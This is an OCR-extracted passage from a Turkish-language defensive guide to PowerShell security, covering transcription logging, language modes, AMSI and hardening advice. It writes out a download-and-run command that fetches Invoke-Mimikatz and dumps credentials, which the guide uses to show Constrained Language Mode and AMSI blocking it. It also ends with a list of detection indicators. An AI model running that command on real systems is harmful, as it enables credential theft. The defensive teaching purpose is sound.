komutlari ya da teknikleri iceriyorsa Script Block Logging ¢zelligi aktif olmasa bile sistemde log
olusturulmaktadir. Stpheli scriptler sebebiyle olusan loglar Warning seviyesindedir. Bu sekilde
sUpheli bir durum tespit edip log Uretmek Microsoft tarafindan bir glvenlik 6zelligi olarak
sunulmamistir ve gérilmemektedir. Script Block Logging 6zelligi aktif edilerek supheli, stupheli
olmayan tum scriptlere ait loglar toplanabilir ve tavsiye de bu yéndedir. Toplanan loglarin EventID
degerleri ise 4104 olacaktir.

3.3.3.Transcription Logging

Bu loglama ttirinde PowerShell tGzerinde calistirilan her bir komut ve o komuta ait ¢iktilar her bir
oturum ve kullanicrigin ayri bir dosyaya yazilir. Dosya iceriklerinde komut ve ¢iktinin yaninda zaman
damgasi, kullanici adi, PowerShell versiyonu gibi bircok meta veri de bulunmaktadir. Ancak bu log
dosyalarinda calistirilan scriptin icerigi veya disk Uzerine yazma islemi yapilirsa yazilan veri
bulunmaz. Bu loglama turinde Ozetle, aktif olan her bir PowerShell ara ytziinde olan bitine ait tim
detaylar loglanir. Olusturulan dosyalar varsayilan olarak “PowerShell_transcript” 6n eki ile baslar,
istenilirse degistirilebilir ve yine varsayilan olarak olusan log dosyalari ilgili kullanicinin Documents
dizini altina kayit edilir. Bu nokta da tavsiye edilen olusturulan log dosyalarinin uzak bir sisteme
yazilmasidir.

Bu tur loglamayi sistemde a¢cmak icin Administrative Templates > Windows Components >
Windows PowerShell yolu izlenip “Turn on PowerShell Transcription” degerinin durumu aktif hale
getirilir. Eger calistirilan komutlara ait zaman damgasi degerinin kayit edilmesi isteniliyorsa
“Include invocation headers” secenegi secilmelidir.
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File Action View Help

el a2 HE T

“ Sound Recorder
Speech
Store

7 Sync your settings
Tablet PC
Task Scheduler

7 Windows Calendar
Windows Color System
Windows Customer Experien

_| Windows Defender Antivirus

| Windows Defender Applicati
Windows Defender SmartScr

| Windows Error Reporting

| Windows Game Recording ar
Windows Hello for Business

1 Windows Ink Workspace

“ Windows Installer
Windows Logon Options

1 Windows Mail

~ Windows Media Digital Right
Windows Media Player
Windows Messenger

“ Windows Mobility Center
Windows PowerShell
Windows Reliability Analysis

" Windows Remote Managem:
Windows Remote Shell
Windows Update

Software Protection Platform A

Setting

2] Tum en Module Logging

i) Tun on PowerShell Script Block Logging
2] Tum on Seript Execution

B Tum on PowerShell Transcription

] Set the default source path for Update-Help

LS

] Tum on PowerShell Transcription

() Not Configured ~ Comment:
(®) Enabled
O Disabled
Supported on:
Options:

Previous Setting Next Setting

At least Microsoft Windows 7 or Windows Server 2008 family

Help:

Transcript output directory

|causersihildz\Documents

This policy setting lets you capture the input and output of
Windows PowerShell commands into text-based transcripts.

Include invocation headers

If you enable this policy setting, Windows PowerShell will
enable transcripting for Windows PowerShell, the Windows
PowerShell ISE, and any other

applications that leverage the Windows PowerShell engine.
By default, Windows PowerShell will record transcript output to
each users' My Documents

directory, with a file name that includes
‘PowerShell_transcript', along with the computer name and time
started. Enabling this policy is equivalent

to calling the Start-Transcript cmdlet on each Windows
PowerShell session.

If you disable this pelicy setting, transcripting of
PowerShell-based applications is disabled by default, although
transcripting can still be enabled

through the Start-Transcript cmdlet.

Cancel

Apply

“ Work Folders
. All Settings

v ¢ User Configuration

| Software Settings

| Windows Settings

Administrative Templates
v

< >
5 setting(s)

Ayni zamanda asagidaki kayit defteri girdilerinin sahip olduklari degerler belirtilen sekilde

Extended j Standard

Sekil 32 - Transcription Ozelliginin Aktif Hale Getirilmesi

duzenlenerek de ayni islemi gerceklestirilebilir.

% HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\Transcripti

on

» EnableTranscripting =1
+  HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\Transcripti

on

» EnableInvocationHeader
+  HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\Transcripti

on

=1

» OutputDirectory = Log dosyalarinin kayit edilecegi dizin

Ornek olarak Get-Process Cmdlet'i calistirilmistir ve asagidaki ekran goéruntisinde de gorulecegi

Uzere log dosyasi ilgili dizine olusturulmustur ve tim bilgiler dosyanin icerisine yazilmistir.
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“ Home Share View (7]

€« “ 4 [ » ThisPC » Documents > 20170810 v &|  Search 20170810 £
Name ype Size
s Quick access
PowerShell_transcript.DZLAB.JmuraMb. . Text Document
I Desktop
¥ Downloads
< Documents Copyright ( o All rights reservec
F it nat Hels
...... T ——

Windows PowerShell transcript start

Start time: 20170810214900

Username: DZLAB\hlldz

RunAs User: DZLAB\hlldz

Machine: DZLAB (Microsoft Windows NT 10.9.15063.8)
Host Application: C:\Windows\System32\WindowsPowerShell\vl.@\powershell.exe
Process ID: 3784

PSVersion: 5.1.15863.502

PSEdition: Desktop

PSCompatibleVersions: 1.8, 2.8, 3.0, 4.8, 5.8, 5.1.15063.502
BuildVersion: 18.8.15863.502

CLRVersion: 4.0.30319.42000

WSManStackVersion: 3.0

PSRemotingProtocolVersion: 2.3

SerializationVersion: 1.1.0.1

Ll

Command start time: 20170818214952
* *

...... S ——

PS C:\Users\hlldz> Get-Process

Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
226 13 3844 16364 1,75 588 1 conhost
380 12 1528 3760 584 @ csrss

Titem  1item selected 565 bytes

Sekil 33 - Transcription Loglama

Yaziicin 6rnek bir PowerShell scripti olusturulmustur ve asagida ilgili PowerShell Script'inin kaynak
kodlari verilmistir. Script ilk olarak ekrana “PowerShell Script Transcription Test” yazmaktadir
ardindan Get-Service Cmdleti ile isletim sistemindeki servisler hakkinda belirli bilgileri
doéndurmektedir.

logTest.ps1

Write-Host "PowerShell Script Transcription Test"
Get-Service

Script calistirildiktan sonra olusan loga ait ekran gérintlsu asagida verilmistir. Gorulecegi Uzere
Execution Policy seviyesi Bypass olacak sekilde yeni bir oturum baslatiimistir. ilgili Execution Policy
degisimine ait bilgi ile beraber tUm meta veriler, calistirilan script ve ¢iktisi loglanmaktadir. Her yeni
PowerShell erisimine ait yeni bir log dosyasi olusacaktir ve ¢alistirilan script/scriptlerin icerigi harig
tim islemler loglanacaktir.
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R RO ~
Windows PowerShell transcript start

Start time: 2017810215921

Username: DZLAB\hlldz

RunAs User: DZLAB\hlldz

Machine: DZLAB (Microsoft Windows NT 10.0.15063.0)

Host Application: C:\WINDOWS\System32\WindowsPowerShell\vl.@\powershell.exe -Execution Bypass

Process ID: 208

PSVersion: 5.1.15063.502 2 Windows PowerShell

Fatdition: Desktop Windows Powershell ‘
PSCompatibleVersions: 1.8, 2.0, 3.0, 4.0, 5.0, 5.1.15863.502 ht (C) 2016 & lorporation. A i s served. |
BuildVersion: 10.0.15063.502

CLRVersion: 4.0.30319.42000 \ dz> wershel Bypass

WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1

S ———

rosoft Corporation. All right

1dz\Desktop> .\
ipt Transcrip

e ——

Command start time: 20170810215924

R R KKK

PS C:\Users\hlldz> cd Desktop

A — AJRouter
Command start time: 20170810215934 SLOpped i ALS N
B e AppIDSvc
Appinfo
PS C:\Users\hlldz\Desktop> .\logTest.psl AppMgmt Application Management
PowerShell Script Transcription Test S AppReadiness App Readiness
AppVClient M ft App-V Client
Status  Name DisplayName ing A AppX Deployment Ser e (AppXSVC)
...... Audio Endpoint Builder
Stopped AJRouter AllJoyn Router Service Audi
Stopped ALG Application Layer Gateway Service
Stopped AppIDSvc Application Identity
Stopped Appinfo Application Information g B B und Intelligent Transfer Ser...
Stopped AppMgmt Application Management ing ... Background Tasks Infrastructure Ser...
Stopped AppReadiness App Readiness
Stopped AppVClient Microsoft App-V (lient
Running AppXSvc AppX Deployment Service (AppXSVC)

Running AudioEndpointBu... Windows Audio Endpoint Builder

Sekil 34 - Transcription Loglama

3.4. PowerShell Language Modlari

PowerShell dil modlari PowerShell oturumu esnasinda hangi 6égelerin kullanilabilir olacagini
belirler. Aktif oturumdaki dil modu $ExecutionContext.SessionState.LanguageMode komutu ile
Ogrenilebilir. PowerShell Gizerinde kullanilabilecek olan dil modlari asagidaki gibidir.

% Full Language Mod

% Restricted Mod

% No Language Mod

% Constrained Language Mod

2. Windows PowerShell

Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\Users\hlldz> .SessionState. LanguageMode
FullLanguage
PS C:\Users\hlldz

Sekil 35 - Aktif Oturumdaki Dil Modu

Full Language Mod, PowerShell oturumundaki tim dil 6gelerine izin verir. Windows RT disindaki
tim Windows surtmlerinde varsayilan dil modudur.
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Restricted Language Mod, PowerShell oturumunda Cmdletler, fonksiyonlar vs. calistirabilir
durumdadir ancak script bloklarinin calistirlmasina izin verilmez. Atama ifadeleri, o6zellik
basvurulari ve ydntem cagrilarina izin verilmez.

No Language Mod, PowerShell oturumunda komut calistinimasina izin verilir ancak diger dil
elementlerinin hicbirinin ¢alistirilmasina izin verilmez.

Constrained Language Mod, PowerShell'in basit fonksiyonelligi disinda kullanilamadigi dil modudur.
PowerShell v5 ile beraber, eger sistemde ApplLocker varsa ve “Allow” moda alinmissa PowerShell
otomatik olarak Constrained dil moduna gecer. AppLocker Allow mod ve PowerShell Constrained
dil modu aktifken bir saldirganin saldiri araclarini ¢alistirmak icin PowerShell dil modunu
degistirmesi ¢ok da mumkun degildir. Constrained dil modu, PowerShell'in temel &zelliklerinin
kullanilmasina izin verir ve ileri diizey 6zelliklerinin (Direkt .NET Framework erisimi, Add-Type
Cmdlet’i tGzerinden Win32 API'Larina erisimi vs.) kullanilmasini engeller. Béylece saldiri ytzeyi
daraltilmis olur. Ancak AppLocker tarafindan izin verilen bir dizinden PowerShell cagirildiginda veya
imzalanmis bir kod calistirildiginda PowerShell kodlari Constrained mod yerine Full modda
cahistinhr.

Ornek olarak Mimikatz'in PowerShell dilinde yazilmis hali, Constrained dil modu aktifken asagidaki
komut kullanilarak calistirilmaya calisilmis ve dil modu scriptin ¢alismasina izin vermemistir.

IEX (New-Object
Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/
PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1"); Invoke-Mimikatz -
DumpCreds

2. Windows PowerShell

¥PS C:\Users\hlldz>
LPs C:\Users\hlldz>
lips C:\Users\hlldz> § ( .SessionState.lLanguageMode
ConstrainedLanguage
PS C:\Users\hlldz> IEX (New-Object Net.WebClient).DownloadString(
f ); Invoke-Mimikatz

PS C:\Users\hlldz>

Sekil 36 - Constrained Dil Modu

3.5. Anti-Malware Scan Interface (AMSI)

Windows 10 ile gelen Anti-Malware Scan Interface (AMSI), sistem Uzerinde calistiriimak istenilen
herhangi bir scripting diline (PowerShell, VBScript, JScript vs.) 6zgl komutu, indirilen, ¢agirilan
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herhangi bir dosyayi kendi yorumlayicisi tarafindan hentz ¢alistirilmadan tarayan sistemdir. Bunun
yaninda calistirimak istenilen kodlarin diskte veya hafizada olmasi énemli degildir, her iki durumda
da AMSI tarafindan taramaktadir. PowerShell icin komut veya kodlar henlz
System.Management.Automation.dll'e ulasmadan AMSI tarafindan anti-malware kontrolu
gerceklestirilir. Windows 10'da kurulum ile beraber Windows Defender AMSI'yi desteklemektedir
ve calisma yapisina ait sema asagida verilmistir.

. Other Other
PowerShell VBScript s s
Application Application MsM pEng. e xe
A A A ’ 3 (Windows Defender Service)
e i
\ J v K
AMSLh + AMSLIib + AMSLdIl
Win32 API Layer AnsiScanBuffer()
AmsiScanString()
et e s et S S e e MpEngine .dll
(Defender Scan Engine)
Amsih + Amsi.dll
COM API Laye z
yEer IAntimalware: : Scan() il MpSve.dll
(Defender RPC Server)
AV Provider Layer Windows Defender Provider Class 3" Party AV Provider
IAntimalwareProvider: : Scan() Class

[ RPC

Sekil 37 - AMSI Calisma Yapisi

Tarama sonucunda AMSI onay verirse komut veya kod calistirilir eger onay vermezse komut veya
kod calistirilmaz. Yazi icin 6rnek olarak Mimikatz'in PowerShell dilinde yazilmis hali ¢alistiriimaya
cahisilmistir. AMSI kodun zararh oldugunu tespit etmistir ve calismasini engellemistir.

¢ T

/' 32 Windows PowerShell

y Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\Users\hlldz> IEX (New-Object Net.WebClient).DownloadString(
); Invoke-Mimikatz

PS C:\Users\hlldz>

Sekil 38 - Zararli Kodun AMSI Tarafindan Engellenmesi
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3.6. Sonug

PowerShell'in kullanilacagi saldirilara karsi sistemlere bagisiklik kazandirmak ve saldiri tespit, analiz
yeteneginin arttinlmasi i¢cin 6zet olarak yukarida detaylari verilen yenilik ve &zelliklerden
yararlanilmasi gerekmektedir. Temelde yapilacak olan islemler maddeler halinde 6zetlenirse;

D3

» PowerShell v2 istemci ve sunucu sistemlerden kaldiriimalidir.

GuUvenlik gelistirmelerinden daha iyi yararlanmak i¢in istemci ve sunucu sistemler son

versiyonlara yUkseltilmelidir.

< Ozellikle istemci sistemlerde PowerShell Constrained dil modunda kullaniimaldir ve
beraberinde Application Whitelisting 6nerilmektedir.

% istemci ve sunucu sistemlerde Modul, Script Block ve Transcription Loglama aktif

edilmelidir. Transcription Loglama i¢in olusacak log dosyalari loglarin toplandig sistem

5

%

Uzerinde degil yazilabilir bir ag paylasimda toplanmalidir. Beraberinde de uygun
korelasyon kurallari isletilmelidir.

Asagida PowerShell saldirilarinda kullanilan bir¢ok scriptten alinmis indikatérler bulunmaktadir.
Korelasyon kurallari isletilirken 6zellikle Script Block loglama i¢in asagidaki indikatdrler yardimci
olacaktir.

indikatorler

AdjustTokenPrivileges

IMAGE_NT_OPTIONAL_HDR64_MAGIC

Advapi32.dll

kernel32.d1l1

AmsiUtils Security.Cryptography.CryptoStream
KerberosRequestorSecurityToken CreateDelegate
LSA_UNICODE_STRING MiniDumpWriteDump

Management.Automation.RuntimeException

Microsoft.Win32.UnsafeNativeMethods

msvcrt.dll

ntdll.dll

PAGE_EXECUTE_READ

Net.Sockets.SocketFlags

ReadProcessMemory.Invoke

Runtime.InteropServices

Reflection.Assembly

SECURITY_DELEGATION

SE_PRIVILEGE_ENABLED

System.Security.Cryptography

secur32.dll

user32.dl1l

System.Reflection.AssemblyName

System.Runtime.InteropServices

TOKEN_ADJUST_PRIVILEGES

TOKEN_ALL_ACCESS
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TOKEN_ASSIGN_PRIMARY

TOKEN_DUPLICATE

TOKEN_ELEVATION

TOKEN_IMPERSONATE

TOKEN_INFORMATION_CLASS

TOKEN_PRIVILEGES

TOKEN_QUERY

Metasploit

ilgili indikatérleri false-positive durumunu en aza indirgemek amaciyla kendi sistemlerinizde érnek

saldiri araclari ve scriptleri ile ayrica test etmenizi tavsiye ediyorum.
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